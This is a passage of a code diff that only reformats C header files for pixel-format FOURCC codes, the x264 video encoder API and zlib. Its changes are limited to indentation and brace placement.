FOURCC('R', '4', '4', '4'), // argb4444 LE. - // 1 Primary Compressed YUV format. - FOURCC_MJPG = FOURCC('M', 'J', 'P', 'G'), + // 1 Primary Compressed YUV format. + FOURCC_MJPG = FOURCC('M', 'J', 'P', 'G'), - // 14 Auxiliary YUV variations: 3 with U and V planes are swapped, 1 Alias. - FOURCC_YV12 = FOURCC('Y', 'V', '1', '2'), - FOURCC_YV16 = FOURCC('Y', 'V', '1', '6'), - FOURCC_YV24 = FOURCC('Y', 'V', '2', '4'), - FOURCC_YU12 = FOURCC('Y', 'U', '1', '2'), // Linux version of I420. - FOURCC_J420 = - FOURCC('J', '4', '2', '0'), // jpeg (bt.601 full), unofficial fourcc - FOURCC_J422 = - FOURCC('J', '4', '2', '2'), // jpeg (bt.601 full), unofficial fourcc - FOURCC_J444 = - FOURCC('J', '4', '4', '4'), // jpeg (bt.601 full), unofficial fourcc - FOURCC_J400 = - FOURCC('J', '4', '0', '0'), // jpeg (bt.601 full), unofficial fourcc - FOURCC_F420 = FOURCC('F', '4', '2', '0'), // bt.709 full, unofficial fourcc - FOURCC_F422 = FOURCC('F', '4', '2', '2'), // bt.709 full, unofficial fourcc - FOURCC_F444 = FOURCC('F', '4', '4', '4'), // bt.709 full, unofficial fourcc - FOURCC_H420 = FOURCC('H', '4', '2', '0'), // bt.709, unofficial fourcc - FOURCC_H422 = FOURCC('H', '4', '2', '2'), // bt.709, unofficial fourcc - FOURCC_H444 = FOURCC('H', '4', '4', '4'), // bt.709, unofficial fourcc - FOURCC_U420 = FOURCC('U', '4', '2', '0'), // bt.2020, unofficial fourcc - FOURCC_U422 = FOURCC('U', '4', '2', '2'), // bt.2020, unofficial fourcc - FOURCC_U444 = FOURCC('U', '4', '4', '4'), // bt.2020, unofficial fourcc - FOURCC_F010 = FOURCC('F', '0', '1', '0'), // bt.709 full range 10 bit 420 - FOURCC_H010 = FOURCC('H', '0', '1', '0'), // bt.709 10 bit 420 - FOURCC_U010 = FOURCC('U', '0', '1', '0'), // bt.2020 10 bit 420 - FOURCC_F210 = FOURCC('F', '2', '1', '0'), // bt.709 full range 10 bit 422 - FOURCC_H210 = FOURCC('H', '2', '1', '0'), // bt.709 10 bit 422 - FOURCC_U210 = FOURCC('U', '2', '1', '0'), // bt.2020 10 bit 422 - FOURCC_P010 = FOURCC('P', '0', '1', '0'), - FOURCC_P210 = FOURCC('P', '2', '1', '0'), + // 14 Auxiliary YUV variations: 3 with U and V planes are swapped, 1 Alias. + FOURCC_YV12 = FOURCC('Y', 'V', '1', '2'), + FOURCC_YV16 = FOURCC('Y', 'V', '1', '6'), + FOURCC_YV24 = FOURCC('Y', 'V', '2', '4'), + FOURCC_YU12 = FOURCC('Y', 'U', '1', '2'), // Linux version of I420. + FOURCC_J420 = + FOURCC('J', '4', '2', '0'), // jpeg (bt.601 full), unofficial fourcc + FOURCC_J422 = + FOURCC('J', '4', '2', '2'), // jpeg (bt.601 full), unofficial fourcc + FOURCC_J444 = + FOURCC('J', '4', '4', '4'), // jpeg (bt.601 full), unofficial fourcc + FOURCC_J400 = + FOURCC('J', '4', '0', '0'), // jpeg (bt.601 full), unofficial fourcc + FOURCC_F420 = FOURCC('F', '4', '2', '0'), // bt.709 full, unofficial fourcc + FOURCC_F422 = FOURCC('F', '4', '2', '2'), // bt.709 full, unofficial fourcc + FOURCC_F444 = FOURCC('F', '4', '4', '4'), // bt.709 full, unofficial fourcc + FOURCC_H420 = FOURCC('H', '4', '2', '0'), // bt.709, unofficial fourcc + FOURCC_H422 = FOURCC('H', '4', '2', '2'), // bt.709, unofficial fourcc + FOURCC_H444 = FOURCC('H', '4', '4', '4'), // bt.709, unofficial fourcc + FOURCC_U420 = FOURCC('U', '4', '2', '0'), // bt.2020, unofficial fourcc + FOURCC_U422 = FOURCC('U', '4', '2', '2'), // bt.2020, unofficial fourcc + FOURCC_U444 = FOURCC('U', '4', '4', '4'), // bt.2020, unofficial fourcc + FOURCC_F010 = FOURCC('F', '0', '1', '0'), // bt.709 full range 10 bit 420 + FOURCC_H010 = FOURCC('H', '0', '1', '0'), // bt.709 10 bit 420 + FOURCC_U010 = FOURCC('U', '0', '1', '0'), // bt.2020 10 bit 420 + FOURCC_F210 = FOURCC('F', '2', '1', '0'), // bt.709 full range 10 bit 422 + FOURCC_H210 = FOURCC('H', '2', '1', '0'), // bt.709 10 bit 422 + FOURCC_U210 = FOURCC('U', '2', '1', '0'), // bt.2020 10 bit 422 + FOURCC_P010 = FOURCC('P', '0', '1', '0'), + FOURCC_P210 = FOURCC('P', '2', '1', '0'), - // 14 Auxiliary aliases. CanonicalFourCC() maps these to canonical fourcc. - FOURCC_IYUV = FOURCC('I', 'Y', 'U', 'V'), // Alias for I420. - FOURCC_YU16 = FOURCC('Y', 'U', '1', '6'), // Alias for I422. - FOURCC_YU24 = FOURCC('Y', 'U', '2', '4'), // Alias for I444. - FOURCC_YUYV = FOURCC('Y', 'U', 'Y', 'V'), // Alias for YUY2. - FOURCC_YUVS = FOURCC('y', 'u', 'v', 's'), // Alias for YUY2 on Mac. - FOURCC_HDYC = FOURCC('H', 'D', 'Y', 'C'), // Alias for UYVY. - FOURCC_2VUY = FOURCC('2', 'v', 'u', 'y'), // Alias for UYVY on Mac. - FOURCC_JPEG = FOURCC('J', 'P', 'E', 'G'), // Alias for MJPG. - FOURCC_DMB1 = FOURCC('d', 'm', 'b', '1'), // Alias for MJPG on Mac. - FOURCC_BA81 = FOURCC('B', 'A', '8', '1'), // Alias for BGGR. - FOURCC_RGB3 = FOURCC('R', 'G', 'B', '3'), // Alias for RAW. - FOURCC_BGR3 = FOURCC('B', 'G', 'R', '3'), // Alias for 24BG. - FOURCC_CM32 = FOURCC(0, 0, 0, 32), // Alias for BGRA kCMPixelFormat_32ARGB - FOURCC_CM24 = FOURCC(0, 0, 0, 24), // Alias for RAW kCMPixelFormat_24RGB - FOURCC_L555 = FOURCC('L', '5', '5', '5'), // Alias for RGBO. - FOURCC_L565 = FOURCC('L', '5', '6', '5'), // Alias for RGBP. - FOURCC_5551 = FOURCC('5', '5', '5', '1'), // Alias for RGBO. + // 14 Auxiliary aliases. CanonicalFourCC() maps these to canonical fourcc. + FOURCC_IYUV = FOURCC('I', 'Y', 'U', 'V'), // Alias for I420. + FOURCC_YU16 = FOURCC('Y', 'U', '1', '6'), // Alias for I422. + FOURCC_YU24 = FOURCC('Y', 'U', '2', '4'), // Alias for I444. + FOURCC_YUYV = FOURCC('Y', 'U', 'Y', 'V'), // Alias for YUY2. + FOURCC_YUVS = FOURCC('y', 'u', 'v', 's'), // Alias for YUY2 on Mac. + FOURCC_HDYC = FOURCC('H', 'D', 'Y', 'C'), // Alias for UYVY. + FOURCC_2VUY = FOURCC('2', 'v', 'u', 'y'), // Alias for UYVY on Mac. + FOURCC_JPEG = FOURCC('J', 'P', 'E', 'G'), // Alias for MJPG. + FOURCC_DMB1 = FOURCC('d', 'm', 'b', '1'), // Alias for MJPG on Mac. + FOURCC_BA81 = FOURCC('B', 'A', '8', '1'), // Alias for BGGR. + FOURCC_RGB3 = FOURCC('R', 'G', 'B', '3'), // Alias for RAW. + FOURCC_BGR3 = FOURCC('B', 'G', 'R', '3'), // Alias for 24BG. + FOURCC_CM32 = FOURCC(0, 0, 0, 32), // Alias for BGRA kCMPixelFormat_32ARGB + FOURCC_CM24 = FOURCC(0, 0, 0, 24), // Alias for RAW kCMPixelFormat_24RGB + FOURCC_L555 = FOURCC('L', '5', '5', '5'), // Alias for RGBO. + FOURCC_L565 = FOURCC('L', '5', '6', '5'), // Alias for RGBP. + FOURCC_5551 = FOURCC('5', '5', '5', '1'), // Alias for RGBO. - // deprecated formats. Not supported, but defined for backward compatibility. - FOURCC_I411 = FOURCC('I', '4', '1', '1'), - FOURCC_Q420 = FOURCC('Q', '4', '2', '0'), - FOURCC_RGGB = FOURCC('R', 'G', 'G', 'B'), - FOURCC_BGGR = FOURCC('B', 'G', 'G', 'R'), - FOURCC_GRBG = FOURCC('G', 'R', 'B', 'G'), - FOURCC_GBRG = FOURCC('G', 'B', 'R', 'G'), - FOURCC_H264 = FOURCC('H', '2', '6', '4'), + // deprecated formats. Not supported, but defined for backward compatibility. + FOURCC_I411 = FOURCC('I', '4', '1', '1'), + FOURCC_Q420 = FOURCC('Q', '4', '2', '0'), + FOURCC_RGGB = FOURCC('R', 'G', 'G', 'B'), + FOURCC_BGGR = FOURCC('B', 'G', 'G', 'R'), + FOURCC_GRBG = FOURCC('G', 'R', 'B', 'G'), + FOURCC_GBRG = FOURCC('G', 'B', 'R', 'G'), + FOURCC_H264 = FOURCC('H', '2', '6', '4'), - // Match any fourcc. - FOURCC_ANY = -1, + // Match any fourcc. + FOURCC_ANY = -1, }; enum FourCCBpp { - // Canonical fourcc codes used in our code. - FOURCC_BPP_I420 = 12, - FOURCC_BPP_I422 = 16, - FOURCC_BPP_I444 = 24, - FOURCC_BPP_I411 = 12, - FOURCC_BPP_I400 = 8, - FOURCC_BPP_NV21 = 12, - FOURCC_BPP_NV12 = 12, - FOURCC_BPP_YUY2 = 16, - FOURCC_BPP_UYVY = 16, - FOURCC_BPP_M420 = 12, // deprecated - FOURCC_BPP_Q420 = 12, - FOURCC_BPP_ARGB = 32, - FOURCC_BPP_BGRA = 32, - FOURCC_BPP_ABGR = 32, - FOURCC_BPP_RGBA = 32, - FOURCC_BPP_AR30 = 32, - FOURCC_BPP_AB30 = 32, - FOURCC_BPP_AR64 = 64, - FOURCC_BPP_AB64 = 64, - FOURCC_BPP_24BG = 24, - FOURCC_BPP_RAW = 24, - FOURCC_BPP_RGBP = 16, - FOURCC_BPP_RGBO = 16, - FOURCC_BPP_R444 = 16, - FOURCC_BPP_RGGB = 8, - FOURCC_BPP_BGGR = 8, - FOURCC_BPP_GRBG = 8, - FOURCC_BPP_GBRG = 8, - FOURCC_BPP_YV12 = 12, - FOURCC_BPP_YV16 = 16, - FOURCC_BPP_YV24 = 24, - FOURCC_BPP_YU12 = 12, - FOURCC_BPP_J420 = 12, - FOURCC_BPP_J400 = 8, - FOURCC_BPP_H420 = 12, - FOURCC_BPP_H422 = 16, - FOURCC_BPP_I010 = 15, - FOURCC_BPP_I210 = 20, - FOURCC_BPP_H010 = 15, - FOURCC_BPP_H210 = 20, - FOURCC_BPP_P010 = 15, - FOURCC_BPP_P210 = 20, - FOURCC_BPP_MJPG = 0, // 0 means unknown. - FOURCC_BPP_H264 = 0, - FOURCC_BPP_IYUV = 12, - FOURCC_BPP_YU16 = 16, - FOURCC_BPP_YU24 = 24, - FOURCC_BPP_YUYV = 16, - FOURCC_BPP_YUVS = 16, - FOURCC_BPP_HDYC = 16, - FOURCC_BPP_2VUY = 16, - FOURCC_BPP_JPEG = 1, - FOURCC_BPP_DMB1 = 1, - FOURCC_BPP_BA81 = 8, - FOURCC_BPP_RGB3 = 24, - FOURCC_BPP_BGR3 = 24, - FOURCC_BPP_CM32 = 32, - FOURCC_BPP_CM24 = 24, + // Canonical fourcc codes used in our code. + FOURCC_BPP_I420 = 12, + FOURCC_BPP_I422 = 16, + FOURCC_BPP_I444 = 24, + FOURCC_BPP_I411 = 12, + FOURCC_BPP_I400 = 8, + FOURCC_BPP_NV21 = 12, + FOURCC_BPP_NV12 = 12, + FOURCC_BPP_YUY2 = 16, + FOURCC_BPP_UYVY = 16, + FOURCC_BPP_M420 = 12, // deprecated + FOURCC_BPP_Q420 = 12, + FOURCC_BPP_ARGB = 32, + FOURCC_BPP_BGRA = 32, + FOURCC_BPP_ABGR = 32, + FOURCC_BPP_RGBA = 32, + FOURCC_BPP_AR30 = 32, + FOURCC_BPP_AB30 = 32, + FOURCC_BPP_AR64 = 64, + FOURCC_BPP_AB64 = 64, + FOURCC_BPP_24BG = 24, + FOURCC_BPP_RAW = 24, + FOURCC_BPP_RGBP = 16, + FOURCC_BPP_RGBO = 16, + FOURCC_BPP_R444 = 16, + FOURCC_BPP_RGGB = 8, + FOURCC_BPP_BGGR = 8, + FOURCC_BPP_GRBG = 8, + FOURCC_BPP_GBRG = 8, + FOURCC_BPP_YV12 = 12, + FOURCC_BPP_YV16 = 16, + FOURCC_BPP_YV24 = 24, + FOURCC_BPP_YU12 = 12, + FOURCC_BPP_J420 = 12, + FOURCC_BPP_J400 = 8, + FOURCC_BPP_H420 = 12, + FOURCC_BPP_H422 = 16, + FOURCC_BPP_I010 = 15, + FOURCC_BPP_I210 = 20, + FOURCC_BPP_H010 = 15, + FOURCC_BPP_H210 = 20, + FOURCC_BPP_P010 = 15, + FOURCC_BPP_P210 = 20, + FOURCC_BPP_MJPG = 0, // 0 means unknown. + FOURCC_BPP_H264 = 0, + FOURCC_BPP_IYUV = 12, + FOURCC_BPP_YU16 = 16, + FOURCC_BPP_YU24 = 24, + FOURCC_BPP_YUYV = 16, + FOURCC_BPP_YUVS = 16, + FOURCC_BPP_HDYC = 16, + FOURCC_BPP_2VUY = 16, + FOURCC_BPP_JPEG = 1, + FOURCC_BPP_DMB1 = 1, + FOURCC_BPP_BA81 = 8, + FOURCC_BPP_RGB3 = 24, + FOURCC_BPP_BGR3 = 24, + FOURCC_BPP_CM32 = 32, + FOURCC_BPP_CM24 = 24, - // Match any fourcc. - FOURCC_BPP_ANY = 0, // 0 means unknown. + // Match any fourcc. + FOURCC_BPP_ANY = 0, // 0 means unknown. }; // Converts fourcc aliases into canonical ones. diff --git a/compress/x264/x264.h b/compress/x264/x264.h index 2cd5df5..d013874 100644 --- a/compress/x264/x264.h +++ b/compress/x264/x264.h @@ -83,8 +83,7 @@ typedef struct x264_t x264_t; * NAL structure and functions ****************************************************************************/ -enum nal_unit_type_e -{ +enum nal_unit_type_e { NAL_UNKNOWN = 0, NAL_SLICE = 1, NAL_SLICE_DPA = 2, @@ -98,8 +97,7 @@ enum nal_unit_type_e NAL_FILLER = 12, /* ref_idc == 0 for 6,9,10,11,12 */ }; -enum nal_priority_e -{ +enum nal_priority_e { NAL_PRIORITY_DISPOSABLE = 0, NAL_PRIORITY_LOW = 1, NAL_PRIORITY_HIGH = 2, @@ -111,8 +109,7 @@ enum nal_priority_e * All data returned in an x264_nal_t, including the data in p_payload, is no longer * valid after the next call to x264_encoder_encode. Thus it must be used or copied * before calling x264_encoder_encode or x264_encoder_headers again. */ -typedef struct x264_nal_t -{ +typedef struct x264_nal_t { int i_ref_idc; /* nal_priority_e */ int i_type; /* nal_unit_type_e */ int b_long_startcode; @@ -237,11 +234,14 @@ static const char * const x264_overscan_names[] = { "undef", "show", "crop", 0 } static const char * const x264_vidformat_names[] = { "component", "pal", "ntsc", "secam", "mac", "undef", 0 }; static const char * const x264_fullrange_names[] = { "off", "on", 0 }; static const char * const x264_colorprim_names[] = { "", "bt709", "undef", "", "bt470m", "bt470bg", "smpte170m", "smpte240m", "film", "bt2020", "smpte428", - "smpte431", "smpte432", 0 }; + "smpte431", "smpte432", 0 + }; static const char * const x264_transfer_names[] = { "", "bt709", "undef", "", "bt470m", "bt470bg", "smpte170m", "smpte240m", "linear", "log100", "log316", - "iec61966-2-4", "bt1361e", "iec61966-2-1", "bt2020-10", "bt2020-12", "smpte2084", "smpte428", "arib-std-b67", 0 }; + "iec61966-2-4", "bt1361e", "iec61966-2-1", "bt2020-10", "bt2020-12", "smpte2084", "smpte428", "arib-std-b67", 0 + }; static const char * const x264_colmatrix_names[] = { "GBR", "bt709", "undef", "", "fcc", "bt470bg", "smpte170m", "smpte240m", "YCgCo", "bt2020nc", "bt2020c", - "smpte2085", "chroma-derived-nc", "chroma-derived-c", "ICtCp", 0 }; + "smpte2085", "chroma-derived-nc", "chroma-derived-c", "ICtCp", 0 + }; static const char * const x264_nal_hrd_names[] = { "none", "vbr", "cbr", 0 }; static const char * const x264_avcintra_flavor_names[] = { "panasonic", "sony", 0 }; @@ -298,8 +298,7 @@ static const char * const x264_avcintra_flavor_names[] = { "panasonic", "sony", /* Zones: override ratecontrol or other options for specific sections of the video. * See x264_encoder_reconfig() for which options can be changed. * If zones overlap, whichever comes later in the list takes precedence. */ -typedef struct x264_zone_t -{ +typedef struct x264_zone_t { int i_start, i_end; /* range of frame numbers */ int b_force_qp; /* whether to use qp vs bitrate factor */ int i_qp; @@ -307,8 +306,7 @@ typedef struct x264_zone_t struct x264_param_t *param; } x264_zone_t; -typedef struct x264_param_t -{ +typedef struct x264_param_t { /* CPU flags */ uint32_t cpu; int i_threads; /* encode multiple frames in parallel */ @@ -334,8 +332,7 @@ typedef struct x264_param_t * will currently generate invalid HRD. */ int i_nal_hrd; - struct - { + struct { /* they will be reduced to be 0 < x <= 65535 and prime */ int i_sar_height; int i_sar_width; @@ -398,8 +395,7 @@ typedef struct x264_param_t char *psz_dump_yuv; /* filename (in UTF-8) for reconstructed frames */ /* Encoder analyser parameters */ - struct - { + struct { unsigned int intra; /* intra partitions */ unsigned int inter; /* inter partitions */ @@ -435,8 +431,7 @@ typedef struct x264_param_t } analyse; /* Rate control parameters */ - struct - { + struct { int i_rc_method; /* X264_RC_* */ int i_qp_constant; /* 0=lossless */ @@ -480,8 +475,7 @@ typedef struct x264_param_t /* Cropping Rectangle parameters: added to those implicitly defined by non-mod16 video resolutions. */ - struct - { + struct { int i_left; int i_top; int i_right; @@ -493,8 +487,7 @@ typedef struct x264_param_t /* mastering display SEI: Primary and white point chromaticity coordinates in 0.00002 increments. Brightness units are 0.0001 cd/m^2. */ - struct - { + struct { int b_mastering_display; /* enable writing this SEI */ int i_green_x; int i_green_y; @@ -509,8 +502,7 @@ typedef struct x264_param_t } mastering_display; /* content light level SEI */ - struct - { + struct { int b_cll; /* enable writing this SEI */ int i_max_cll; int i_max_fall; @@ -625,8 +617,7 @@ X264_API void x264_nal_encode( x264_t *h, uint8_t *dst, x264_nal_t *nal ); * H.264 level restriction information ****************************************************************************/ -typedef struct x264_level_t -{ +typedef struct x264_level_t { uint8_t level_idc; int32_t mbps; /* max macroblock processing rate (macroblocks/sec) */ int32_t frame_size; /* max frame size (macroblocks) */ @@ -749,8 +740,7 @@ X264_API int x264_param_apply_profile( x264_param_t *, const char *profile ); * there are no restrictions. */ X264_API extern const int x264_chroma_format; -enum pic_struct_e -{ +enum pic_struct_e { PIC_STRUCT_AUTO = 0, // automatically decide (default) PIC_STRUCT_PROGRESSIVE = 1, // progressive frame // "TOP" and "BOTTOM" are not supported in x264 (PAFF only) @@ -762,8 +752,7 @@ enum pic_struct_e PIC_STRUCT_TRIPLE = 9, // triple frame }; -typedef struct x264_hrd_t -{ +typedef struct x264_hrd_t { double cpb_initial_arrival_time; double cpb_final_arrival_time; double cpb_removal_time; @@ -780,31 +769,27 @@ typedef struct x264_hrd_t * Payloads are written first in order of input, apart from in the case when HRD * is enabled where payloads are written after the Buffering Period SEI. */ -typedef struct x264_sei_payload_t -{ +typedef struct x264_sei_payload_t { int payload_size; int payload_type; uint8_t *payload; } x264_sei_payload_t; -typedef struct x264_sei_t -{ +typedef struct x264_sei_t { int num_payloads; x264_sei_payload_t *payloads; /* In: optional callback to free each payload AND x264_sei_payload_t when used. */ void (*sei_free)( void* ); } x264_sei_t; -typedef struct x264_image_t -{ +typedef struct x264_image_t { int i_csp; /* Colorspace */ int i_plane; /* Number of image planes */ int i_stride[4]; /* Strides for each plane */ uint8_t *plane[4]; /* Pointers to each plane */ } x264_image_t; -typedef struct x264_image_properties_t -{ +typedef struct x264_image_properties_t { /* All arrays of data here are ordered as follows: * each array contains one offset per macroblock, in raster scan order. In interlaced * mode, top-field MBs and bottom-field MBs are interleaved at the row level. @@ -845,7 +830,7 @@ typedef struct x264_image_properties_t void (*mb_info_free)( void* ); /* The macroblock is constant and remains unchanged from the previous frame. */ - #define X264_MBINFO_CONSTANT (1U<<0) +#define X264_MBINFO_CONSTANT (1U<<0) /* More flags may be added in the future. */ /* Out: SSIM of the the frame luma (if x264_param_t.b_ssim is set) */ @@ -859,8 +844,7 @@ typedef struct x264_image_properties_t double f_crf_avg; } x264_image_properties_t; -typedef struct x264_picture_t -{ +typedef struct x264_picture_t { /* In: force picture type (if not auto) * If x264 encoding parameters are violated in the forcing of picture types, * x264 will correct the input picture type and log a warning. diff --git a/compress/zlib/zconf.h b/compress/zlib/zconf.h index 4944a4e..85e356b 100644 --- a/compress/zlib/zconf.h +++ b/compress/zlib/zconf.h @@ -244,19 +244,19 @@ #ifdef Z_SOLO # ifdef _WIN64 - typedef unsigned long long z_size_t; +typedef unsigned long long z_size_t; # else - typedef unsigned long z_size_t; +typedef unsigned long z_size_t; # endif #else # define z_longlong long long # if defined(NO_SIZE_T) - typedef unsigned NO_SIZE_T z_size_t; +typedef unsigned NO_SIZE_T z_size_t; # elif defined(STDC) # include - typedef size_t z_size_t; +typedef size_t z_size_t; # else - typedef unsigned long z_size_t; +typedef unsigned long z_size_t; # endif # undef z_longlong #endif @@ -292,7 +292,7 @@ for small objects. */ - /* Type declarations */ +/* Type declarations */ #ifndef OF /* function prototypes */ # ifdef STDC @@ -310,7 +310,7 @@ */ #ifdef SYS16BIT # if defined(M_I86SM) || defined(M_I86MM) - /* MSC small or medium model */ +/* MSC small or medium model */ # define SMALL_MEDIUM # ifdef _MSC_VER # define FAR _far @@ -319,7 +319,7 @@ # endif # endif # if (defined(__SMALL__) || defined(__MEDIUM__)) - /* Turbo C small or medium model */ +/* Turbo C small or medium model */ # define SMALL_MEDIUM # ifdef __BORLANDC__ # define FAR _far @@ -330,9 +330,9 @@ #endif #if defined(WINDOWS) || defined(WIN32) - /* If building or using zlib as a DLL, define ZLIB_DLL. - * This is not mandatory, but it offers a little performance increase. - */ +/* If building or using zlib as a DLL, define ZLIB_DLL. + * This is not mandatory, but it offers a little performance increase. + */ # ifdef ZLIB_DLL # if defined(WIN32) && (!defined(__BORLANDC__) || (__BORLANDC__ >= 0x500)) # ifdef ZLIB_INTERNAL @@ -342,10 +342,10 @@ # endif # endif # endif /* ZLIB_DLL */ - /* If building or using zlib with the WINAPI/WINAPIV calling convention, - * define ZLIB_WINAPI. - * Caution: the standard ZLIB1.DLL is NOT compiled using ZLIB_WINAPI. - */ +/* If building or using zlib with the WINAPI/WINAPIV calling convention, + * define ZLIB_WINAPI. + * Caution: the standard ZLIB1.DLL is NOT compiled using ZLIB_WINAPI. + */ # ifdef ZLIB_WINAPI # ifdef FAR # undef FAR @@ -354,8 +354,8 @@ # define WIN32_LEAN_AND_MEAN # endif # include - /* No need for _export, use ZLIB.DEF instead. */ - /* For complete Windows compatibility, use WINAPI, not __stdcall. */ +/* No need for _export, use ZLIB.DEF instead. */ +/* For complete Windows compatibility, use WINAPI, not __stdcall. */ # define ZEXPORT WINAPI # ifdef WIN32 # define ZEXPORTVA WINAPIV @@ -398,10 +398,10 @@ typedef unsigned int uInt; /* 16 bits or more */ typedef unsigned long uLong; /* 32 bits or more */ #ifdef SMALL_MEDIUM - /* Borland C/C++ and some old MSC versions ignore FAR inside typedef */ +/* Borland C/C++ and some old MSC versions ignore FAR inside typedef */ # define Bytef Byte FAR #else - typedef Byte FAR Bytef; +typedef Byte FAR Bytef; #endif typedef char FAR charf; typedef int FAR intf; @@ -409,13 +409,13 @@ typedef uInt FAR uIntf; typedef uLong FAR uLongf; #ifdef STDC - typedef void const *voidpc; - typedef void FAR *voidpf; - typedef void *voidp; +typedef void const *voidpc; +typedef void FAR *voidpf; +typedef void *voidp; #else - typedef Byte const *voidpc; - typedef Byte FAR *voidpf; - typedef Byte *voidp; +typedef Byte const *voidpc; +typedef Byte FAR *voidpf; +typedef Byte *voidp; #endif #if !defined(Z_U4) && !defined(Z_SOLO) && defined(STDC) @@ -430,9 +430,9 @@ typedef uLong FAR uLongf; #endif #ifdef Z_U4 - typedef Z_U4 z_crc_t; +typedef Z_U4 z_crc_t; #else - typedef unsigned long z_crc_t; +typedef unsigned long z_crc_t; #endif #ifdef HAVE_UNISTD_H /* may be set to #if 1 by ./configure */ @@ -527,19 +527,19 @@ typedef uLong FAR uLongf; /* MVS linker does not support external names larger than 8 bytes */ #if defined(__MVS__) - #pragma map(deflateInit_,"DEIN") - #pragma map(deflateInit2_,"DEIN2") - #pragma map(deflateEnd,"DEEND") - #pragma map(deflateBound,"DEBND") - #pragma map(inflateInit_,"ININ") - #pragma map(inflateInit2_,"ININ2") - #pragma map(inflateEnd,"INEND") - #pragma map(inflateSync,"INSY") - #pragma map(inflateSetDictionary,"INSEDI") - #pragma map(compressBound,"CMBND") - #pragma map(inflate_table,"INTABL") - #pragma map(inflate_fast,"INFA") - #pragma map(inflate_copyright,"INCOPY") +#pragma map(deflateInit_,"DEIN") +#pragma map(deflateInit2_,"DEIN2") +#pragma map(deflateEnd,"DEEND") +#pragma map(deflateBound,"DEBND") +#pragma map(inflateInit_,"ININ") +#pragma map(inflateInit2_,"ININ2") +#pragma map(inflateEnd,"INEND") +#pragma map(inflateSync,"INSY") +#pragma map(inflateSetDictionary,"INSEDI") +#pragma map(compressBound,"CMBND") +#pragma map(inflate_table,"INTABL") +#pragma map(inflate_fast,"INFA") +#pragma map(inflate_copyright,"INCOPY") #endif #endif /* ZCONF_H */ diff --git a/compress/zlib/zlib.h b/compress/zlib/zlib.h index 8d4b932..51735fa 100644 --- a/compress/zlib/zlib.h +++ b/compress/zlib/zlib.h @@ -163,7 +163,7 @@ typedef gz_header FAR *gz_headerp; if the decompressor wants to decompress everything in a single step). */ - /* constants */ +/* constants */ #define Z_NO_FLUSH 0 #define Z_PARTIAL_FLUSH 1 @@ -215,7 +215,7 @@ typedef gz_header FAR *gz_headerp; /* for compatibility with versions < 1.0.2 */ - /* basic functions */ +/* basic functions */ ZEXTERN const char * ZEXPORT zlibVersion(void); /* The application can compare zlibVersion and ZLIB_VERSION for consistency. @@ -529,7 +529,7 @@ ZEXTERN int ZEXPORT inflateEnd(z_streamp strm); */ - /* Advanced functions */ +/* Advanced functions */ /* The following functions are needed only in some special applications. @@ -609,8 +609,8 @@ ZEXTERN int ZEXPORT deflateInit2(z_streamp strm, */ ZEXTERN int ZEXPORT deflateSetDictionary(z_streamp strm, - const Bytef *dictionary, - uInt dictLength); + const Bytef *dictionary, + uInt dictLength); /* Initializes the compression dictionary from the given byte sequence without producing any compressed output. When using the zlib format, this @@ -653,8 +653,8 @@ ZEXTERN int ZEXPORT deflateSetDictionary(z_streamp strm, */ ZEXTERN int ZEXPORT deflateGetDictionary(z_streamp strm, - Bytef *dictionary, - uInt *dictLength); + Bytef *dictionary, + uInt *dictLength); /* Returns the sliding dictionary being maintained by deflate. dictLength is set to the number of bytes in the dictionary, and that many bytes are copied @@ -886,8 +886,8 @@ ZEXTERN int ZEXPORT inflateInit2(z_streamp strm, */ ZEXTERN int ZEXPORT inflateSetDictionary(z_streamp strm, - const Bytef *dictionary, - uInt dictLength); + const Bytef *dictionary, + uInt dictLength); /* Initializes the decompression dictionary from the given uncompressed byte sequence. This function must be called immediately after a call of inflate, @@ -909,8 +909,8 @@ ZEXTERN int ZEXPORT inflateSetDictionary(z_streamp strm, */ ZEXTERN int ZEXPORT inflateGetDictionary(z_streamp strm, - Bytef *dictionary, - uInt *dictLength); + Bytef *dictionary, + uInt *dictLength); /* Returns the sliding dictionary being maintained by inflate. dictLength is set to the number of bytes in the dictionary, and that many bytes are copied @@ -1219,7 +1219,7 @@ ZEXTERN uLong ZEXPORT zlibCompileFlags(void); #ifndef Z_SOLO - /* utility functions */ +/* utility functions */ /* The following utility functions are implemented on top of the basic @@ -1293,7 +1293,7 @@ ZEXTERN int ZEXPORT uncompress2(Bytef *dest, uLongf *destLen, source bytes consumed. */ - /* gzip file access functions */ +/* gzip file access functions */ /* This library supports reading and writing files in gzip (.gz) format with @@ -1681,7 +1681,7 @@ ZEXTERN void ZEXPORT gzclearerr(gzFile file); #endif /* !Z_SOLO */ - /* checksum functions */ +/* checksum functions */ /* These functions are not related to compression but are exported @@ -1776,7 +1776,7 @@ ZEXTERN uLong ZEXPORT crc32_combine_op(uLong crc1, uLong crc2, uLong op); */ - /* various hacks, don't look :) */ +/* various hacks, don't look :) */ /* deflateInit and inflateInit are macros to allow checking the zlib version * and the compiler's view of z_stream: @@ -1856,13 +1856,13 @@ ZEXTERN int ZEXPORT gzgetc_(gzFile file); /* backward compatibility */ * without large file support, _LFS64_LARGEFILE must also be true */ #ifdef Z_LARGE64 - ZEXTERN gzFile ZEXPORT gzopen64(const char *, const char *); - ZEXTERN z_off64_t ZEXPORT gzseek64(gzFile, z_off64_t, int); - ZEXTERN z_off64_t ZEXPORT gztell64(gzFile); - ZEXTERN z_off64_t ZEXPORT gzoffset64(gzFile); - ZEXTERN uLong ZEXPORT adler32_combine64(uLong, uLong, z_off64_t); - ZEXTERN uLong ZEXPORT crc32_combine64(uLong, uLong, z_off64_t); - ZEXTERN uLong ZEXPORT crc32_combine_gen64(z_off64_t); +ZEXTERN gzFile ZEXPORT gzopen64(const char *, const char *); +ZEXTERN z_off64_t ZEXPORT gzseek64(gzFile, z_off64_t, int); +ZEXTERN z_off64_t ZEXPORT gztell64(gzFile); +ZEXTERN z_off64_t ZEXPORT gzoffset64(gzFile); +ZEXTERN uLong ZEXPORT adler32_combine64(uLong, uLong, z_off64_t); +ZEXTERN uLong ZEXPORT crc32_combine64(uLong, uLong, z_off64_t); +ZEXTERN uLong ZEXPORT crc32_combine_gen64(z_off64_t); #endif #if !defined(ZLIB_INTERNAL) && defined(Z_WANT64) @@ -1884,29 +1884,29 @@ ZEXTERN int ZEXPORT gzgetc_(gzFile file); /* backward compatibility */ # define crc32_combine_gen crc32_combine_gen64 # endif # ifndef Z_LARGE64 - ZEXTERN gzFile ZEXPORT gzopen64(const char *, const char *); - ZEXTERN z_off_t ZEXPORT gzseek64(gzFile, z_off_t, int); - ZEXTERN z_off_t ZEXPORT gztell64(gzFile); - 